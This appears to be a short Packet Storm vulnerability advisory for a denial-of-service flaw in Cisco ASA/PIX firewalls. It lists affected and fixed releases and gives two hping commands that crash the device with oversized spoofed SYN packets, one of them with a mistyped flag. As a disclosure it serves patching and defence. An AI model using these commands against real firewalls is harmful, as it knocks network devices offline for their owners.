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Cisco ASA/PIX TCP Fragments

🗓️ 11 Apr 2009 00:00:00Reported by Daniel ClemensType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Vulnerability affecting Cisco ASA/PIX versions, triggered by TCP fragments

Code
`The vulnerability affects the following Cisco ASA/PIX versions:  
  
Release Fixed in:  
-------- ---------  
6.3 Not affected  
7.0 7.0(8.6)   
7.1 7.1(2.81)   
7.2 7.2(4.30)   
8.0 8.0(4.28)   
8.1 8.1(2.19)   
8.2 8.2(0.230)  
  
-----------------------------  
Triggering the vuln  
------------------------------  
  
/*Utilize 1550 blocks on an ASA to trigger a crash...*/  
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2  
  
/* Trigger the vuln a bit faster */  
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2  
  
Reloading the device is the only way to recover from the denial of service.  
  
| Daniel Uriah Clemens  
"Moments of sorrow are moments of sobriety"   
  
  
`

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